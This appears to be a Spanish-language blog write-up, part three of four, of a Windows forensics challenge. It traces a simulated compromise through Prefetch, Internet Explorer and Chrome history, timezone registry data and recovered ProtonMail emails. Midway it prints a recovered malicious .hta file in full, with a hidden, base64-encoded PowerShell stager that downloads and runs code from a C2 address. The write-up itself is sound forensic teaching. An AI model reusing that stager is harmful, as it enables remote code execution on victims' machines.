Ya llevamos una buena parte del reto forense desgranado en los artículos anteriores. Ahora viene la parte buena…
11. What IP address was used by the attacker for C2?
Linux way
Entramos en harina de otro costal. Al parecer se ha producido un ataque contra el equipo, así que por fin nos podemos poner en modo investigador/cazador. Tenemos varias vías de investigación, siendo la más sencilla examinar las conexiones que se puedan observar en la memoria vía el comando netscan de Volatility.
# ./volatility_2.5_linux_x64 -f ../James_Baud/roger.mem --profile=Win10x86 netscan
Pero en este caso no obtenemos nada de información útil sobre las direcciones IP destino. Es posible que Volatility 2.5 aún esté un poco verde en el análisis de la memoria de Windows 10.
Otra vía de investigación útil es el análisis de lo que se ha ejecutado en el sistema. Para ello podemos acceder al registro de programas ejecutados, el Prefetch (un servicio de Windows que deja precargados los programas más frecuentes, y que, por lo tanto, guarda un listado de ellos).
Bajo Linux existen una serie de scripts en Python que pueden procesar el Prefetch (como Windows-Prefetch-Parser), pero cualquier intento de hacerlos funcionar nos genera un error. El análisis del problema nos da la siguiente respuesta: para analizar los Prefetch de un Windows 10 tenemos que tener al menos un Windows 8 o superior, algo de lo que disponemos en este momento.
Tendremos que buscar una vía más rudimentaria todavía: ver el contenido la carpeta a pelo. Al final acaban siendo ficheros, así que si ordenamos la carpeta por la fecha de modificación del fichero tendremos una burda línea temporal (a priori) de lo que se ha ejecutado en el sistema.
Si analizamos la carpeta podemos comprobar que a lo largo de la vida del arranque se han ido lanzando algunos instaladores, se han abierto navegadores, el 7zip… hasta que nos topamos con el whoami.exe:
El comando whoami permite identificar el usuario actual, así como los grupos a los que pertenece y los permisos de los que dispone. Si lo analizamos en contexto, es muy poco probable que un usuario la ejecute, pero es una herramienta perfecta dentro de la fase de reconocimiento de un ataque.
Y poco después vemos unos cuantos sospechosos habituales: tasklist.exe (lista los procesos que se están ejecutando), net (lista y crea unidades compartidas, lista cuentas, etc…) y Powershell (el último grito en atacantes, y casi una pistola humeante cuando la vemos en un sistema sospechoso de estar comprometido).
Siguiendo la línea temporal hacia atrás, vamos a ver qué ha sucedido antes en el sistema. Observamos que se ha abierto OpenOffice, y luego una combinación de Internet Explorer + MSHTA. MSHTA son las siglas de Microsoft HTML Application, un componente de Windows que se utiliza para ejecutar archivos .hta, aplicaciones autónomas HTML que se pueden cargar independientemente del navegador.
“Ejecución de cosas + navegador = mal asunto“. Afortunadamente, en los puntos anteriores nos hemos hecho con el historial de navegación, así que podemos comprobar si se ha visitado alguna web sobre las 03.24AM. A priori no encontramos nada porque la SQLite contiene el historial de Chrome, y el análisis del Prefetch indica que se ha abierto Internet Explorer, por lo que tenemos que revisar el historial del otro navegador.
En estos casos nuestra herramienta favorita sería Pasco, pero no es capaz de analizar el historial de Internet Explorer 10. Y como ya vimos antes, el plugin iehistory de Volatility no funciona bajo Windows 10, por lo que nos toca rebuscar un poco más en las tripas de cómo funciona Internet Explorer 10.
IE 10 ya no guarda la caché en el fichero index.dat, que pasa a llamarse WebCacheV*.dat, y se guarda en C:\Users\username\AppData\Local\Microsoft\Windows\WebCache. Y el formato cambia por completo, ya que están en EDB (ESE Database, Extensible Storage Engine). Tras un buen rato de rebuscar encontramos una herramienta que nos permite leer estos ficheros: LibeseDB.
La instalación va a ser un cierto parto en DEFT 8, pero una vez superada nos ofrece el comando esedbexport, que exporta el contenido de la cache del IE 10.
# esedbexport Users/AppData/Local/Microsoft/Windows/WebCache/WebCacheV01.dat
Y como solo queremos buscar ficheros .hta, podemos tirar de egrep:
# egrep “\.hta” *
Y encontramos a nuestro culpable. Se puede ver un desfase de 1h entre la hora en la que se hizo la visita y el tiempo recogido en la entrada, pero eso lo explicaremos en el punto 13.
Si buscamos ese fichero en la carpeta de User con un find encontramos varias coincidencias:
Y si abrimos el segundo, nos encontramos con esto:
<html><head><script>var c= 'powershell.exe -NoP -sta -NonI -W Hidden -Enc WwBTAHkAcwBUAGUAbQAuAE4AZQBUAC4AUwBFAFIAdgBJAGMARQBQAG8ASQBOAHQATQBBAG4AQQBHAGUAUgBdADoAOgBFAFgAcABFAEMAdAAxADAAMABDAG8AbgBUAEkATgB1AEUAIAA9ACAAMAA7ACQAdwBjAD0ATgBFAHcALQBPAGIAagBlAGMAdAAgAFMAWQBzAHQARQBtAC4ATgBFAHQALgBXAGUAQgBDAGwAaQBlAG4AdAA7ACQAdQA9ACcATQBvAHoAaQBsAGwAYQAvADUALgAwACAAKABXAGkAbgBkAG8AdwBzACAATgBUACAANgAuADEAOwAgAFcATwBXADYANAA7ACAAVAByAGkAZABlAG4AdAAvADcALgAwADsAIAByAHYAOgAxADEALgAwACkAIABsAGkAawBlACAARwBlAGMAawBvACcAOwAkAHcAQwAuAEgAZQBhAEQARQBSAFMALgBBAGQARAAoACcAVQBzAGUAcgAtAEEAZwBlAG4AdAAnACwAJAB1ACkAOwAkAFcAQwAuAFAAUgBPAFgAWQAgAD0AIABbAFMAeQBzAFQARQBtAC4ATgBlAHQALgBXAEUAQgBSAGUAUQBVAEUAcwBUAF0AOgA6AEQAZQBmAGEAdQBMAHQAVwBFAEIAUABSAE8AeABZADsAJABXAGMALgBQAHIAbwB4AHkALgBDAFIAZQBkAGUAbgBUAGkAYQBsAFMAIAA9ACAAWwBTAFkAUwBUAEUATQAuAE4AZQBUAC4AQwByAGUAZABlAE4AdABpAGEATABDAEEAYwBIAEUAXQA6ADoARABFAEYAQQBVAEwAdABOAGUAdAB3AE8AUgBrAEMAUgBFAGQAZQBOAFQASQBhAEwAcwA7ACQASwA9ACcAOQB4AG0AYQBWAE8ARgBYAEcANAAvAD8AKAAxAGgAJABBADMAIwB3AEQAfAAtAFMAIQAuADcAXQBKAHkASABCACcAOwAkAEkAPQAwADsAWwBjAEgAYQByAFsAXQBdACQAYgA9ACgAWwBjAEgAQQByAFsAXQBdACgAJABXAEMALgBEAE8AVwBuAGwATwBhAEQAUwBUAFIAaQBOAEcAKAAiAGgAdAB0AHAAOgAvAC8AMQAyADgALgAxADkAOQAuADEANwAwAC4AOAA1ADoAOAAwADgAMAAvAGkAbgBkAGUAeAAuAGEAcwBwACIAKQApACkAfAAlAHsAJABfAC0AQgBYAE8AUgAkAEsAWwAkAEkAKwArACUAJABrAC4ATABFAE4AZwBUAEgAXQB9ADsASQBFAFgAIAAoACQAYgAtAEoAbwBpAG4AJwAnACkA'
new ActiveXObject('WScript.Shell').Run(c);</script></head><body><script>self.close();</script></body></html>
Si esto no es un script malicioso me hago desarrollador de Java en un equipo de 128Mb de RAM. Podríamos seguir analizando el código malicioso, pero por ahora vamos a centrarnos en el reto.
Respuesta: 128.199.170.85
Windows way
En el caso de Windows tenemos WinPrefetch, una herramienta muy útil para estos menesteres (aunque tiene un par de fallos para Windows 10 que hace que no nos dejen ver la ruta de los ficheros ejecutados, algo que siempre es muy jugoso).
Y el historial de visitas de Internet Explorer 10 sí que es analizado por BrowsingHistoryView, lo que nos simplifica enormemente el trabajo en este caso:
Respuesta: 128.199.170.85
Conclusiones: En este caso ha sido mucho más fácil obtener la respuesta con Windows que con Linux. Sin embargo, el esfuerzo realizado con Linux ha sido muy fructífero ya que hemos aprendido mucho sobre la estructura de los historiales de Internet Explorer 10, y de cómo hay que ir reciclándose en la operativa en nuevos entornos…
12. What is the exact name of the payload?
Linux & Windows
El trabajo realizado en el punto anterior ya nos había facilitado la respuesta.
Respuesta: .hta
13. What is the first time the user logged into their email (MM/DD/YYYY H:MM:SS AM/PM)?
Linux way
Ya sabemos que RM usa el servicio web ProtonMail, por lo que todo sigue estando en el historial de navegación de Chrome que habíamos logrado en el punto 5. La duda que queda es saber en qué momento realmente se realiza el login, ya que tenemos varias URL que podrían ser candidatas:
Analizando con un poco más de detalle las URL podemos verificar que su significado es el siguiente:
- login: Pantalla inicial de inicio de sesión (usuario y contraseña).
- unlock: Pantalla para insertar la clave de descifrado.
- inbox: Acceso real al correo.
Por ello podemos considerar que se ha iniciado sesión realmente en el momento en el que se acceden a los buzones de correo (https://mail.protonmail.com/inbox). El último valor de la columna es el tiempo de la última visita. El problema es que la SQLite muestra dos visitas, así que ese no es el valor que de verdad estamos buscando.
Para obtener el valor exacto tenemos que ir a la tabla “visits”, y quedarnos con el valor más pequeño de los que tengan el campo url = “67” (el id en la tabla url), que indicaría la primera visita:
A primera vista parecería que el tiempo está en formato Unix epoch, pero si intentamos convertirlo a un formato humano obtenemos este resultado:
% date -d@13122266776084734 Sun Jan 30 11:03:54 CET 415830084
Investigando un poco encontramos que el formato de timestamps de Chrome corresponde al número de microsegundos desde el 1 de Enero de 1601. Un formato de tiempos nuevo.
El formato lo podemos convertir a algo más humano con un poco de Python:
# python >>> import datetime >>> date_string = datetime.datetime( 1601, 1, 1 ) + datetime.timedelta( microseconds=13122266776084734) >>> print date_string 2016-10-30 02:06:16.084734
Ahora viene una de las cosas que más odio de los forenses. El ajuste de zonas horarias. ¿Está esa hora en algún formato local o en UTC? Para ello vamos a usar otra vez regripper con el plugin timezone.
# rip -p timezone -r /root/Desktop/James_Baud/Windows/System32/config/SYSTEM Launching timezone v.20110901 timezone v.20110901 (System) Get TimeZoneInformation key contents TimeZoneInformation key ControlSet001\Control\TimeZoneInformation LastWrite Time Sun Oct 30 05:14:44 2016 (UTC) DaylightName -> @tzres.dll,-211 StandardName -> @tzres.dll,-212 Bias -> 420 (8 hours) ActiveTimeBias -> 480 (7 hours) TimeZoneKeyName -> Pacific Standard Time
Ahora solo queda interpretar los valores correctamente. Según este recurso web sobre timezones, el Bias es la diferencia existente entre el UTC en minutos, mientras que el ActiveTimeBias es el valor que se está aplicando en el momento.
Si lo hemos interpretado bien, tendríamos que haber añadido 8 horas pero solo hemos añadido 7, por lo que tenemos que añadir una hora más al tiempo que hemos obtenido.
Respuesta: “2016-10-30 03:06:16”
Windows way
Accedemos a la URL en el BrowsingHistoryView y extraemos la hora.
Respuesta: 30/10/2016 3:06:16
Conclusiones: Con Windows nos ha resultado muchísimo más sencillo, pero nos podría haber inducido a error en la fecha al no saber exactamente qué tipo de formato usaba. Sacar el dato en Linux ha sido un parto, pero tenemos la certeza de que ese valor es el correcto.
14. What is the mail server name used to send these messages?
Linux & Windows
Volvemos a jugar un poco con el strings y a pivotar sobre el correo. Una búsqueda inicial nos deja trazas de las cabeceras del correo, por lo que podemos refinar nuestra búsqueda:
# strings 4992.dmp |fgrep "To: Notconnery" -A 20 -B 20 |less From: Notroger <notroger@protonmail.com> To: Notconnery <notconnery@protonmail.com> Cc: Subject: Re: 24 HOURS UNTIL THE WORLD KNOWS THE TRUTH Date: Sat, 29 Oct 2016 22:21:06 -0400 Mime-Version: 1.0 Return-Path: <notroger@protonmail.com> X-Original-To: notroger@protonmail.com Received: from mail.protonmail.ch by mail.protonmail.ch; Sat, 29 Oct 2016 22:21:06 -0400 X-Attached: PRESENT_FOR_CONNERY.zip
No hemos podido obtener más cabeceras, pero dado que la conversación es entre dos usuarios de ProtonMail ya tenemos lo que buscábamos.
Respuesta: mail.protonmail.ch
15. What is the UTC time of the initial email (as stated in the email header)?
Linux & Windows
La respuesta la tenemos en el trabajo hecho en el punto 7:
<div>-------- Original Message --------<br> </div><div>Subject: 24 HOURS UNTIL THE WORLD KNOWS THE TRUTH<br></div> <div>Local Time: October 29, 2016 10:11 PM<br></div> <div>UTC Time: October 30, 2016 2:11 AM<br></div> <div>From: notroger@protonmail.com<br></div> <div>To: notconnery@protonmail.com <notconnery@protonmail.com><br></div><div><br></div> <div>This is me putting you securely on notice Sean. I have compromising photos of you, lots of them. In 24 hours I'm going to release them and reveal to all the truth, allowing the global realization that I, Roger Moore am the best James Bond.<br></div> <div>PS: Check the attached for a MERE MORSEL of the pain I'm about to rain upon you.<br></div><div><br></div> <div>Ta-ta you sly haggis consuming scamp- RM<br></div><div><br></div> <div class="protonmail_signature_block "><div class="protonmail_signature_block-user "><br></div> <div class="protonmail_signature_block-proton ">Sent with <a href="https://protonmail.com">ProtonMail</a> Secure Email.<br></div>
Respuesta: UTC Time: October 30, 2016 2:11 AM
16. What is the email subject of the first threatening email sent by the user?
Linux & Windows
Volvemos a tener la respuesta en el trabajo hecho en el punto 7:
Respuesta: 24 HOURS UNTIL THE WORLD KNOWS THE TRUTH
17. What insult does the other individual use in his response?
Linux & Windows
¿A que no sabes en qué punto hemos hecho ya todo el trabajo? xD
El intercambio de lindezas es bastante elegante:
- RM->SC: “sly haggis consuming scamp” (“astuto bribón comedor de haggis”, un plato escocés hecho de entrañas de animales que nada tiene que envidiar a nuestros callos madrileños).
- SC->RM: “cheeky fearlash bashtard” (en un escocés un poco bruto, podríamos traducir aproximadamente como “bastardo sinvergüenza descarado”)
Pero lo que nos piden es la respuesta de Sean a Roger, nos tenemos que quedar con el segundo punto.
Respuesta: “cheeky fearlash bashtard”
Hasta aquí llegan los puntos del reto forense. Pero si os acordáis, dejamos un código en Powershell con una pinta estupenda y que está pidiendo a gritos que sigamos investigándolo. Así que en el siguiente artículo nos saldremos del camino guiado e intentaremos averiguar qué ha pasado en el equipo de Roger Moore.
(Este post consta de 4 partes. Esta es el 3/4. Accede al siguiente pinchando aquí.)
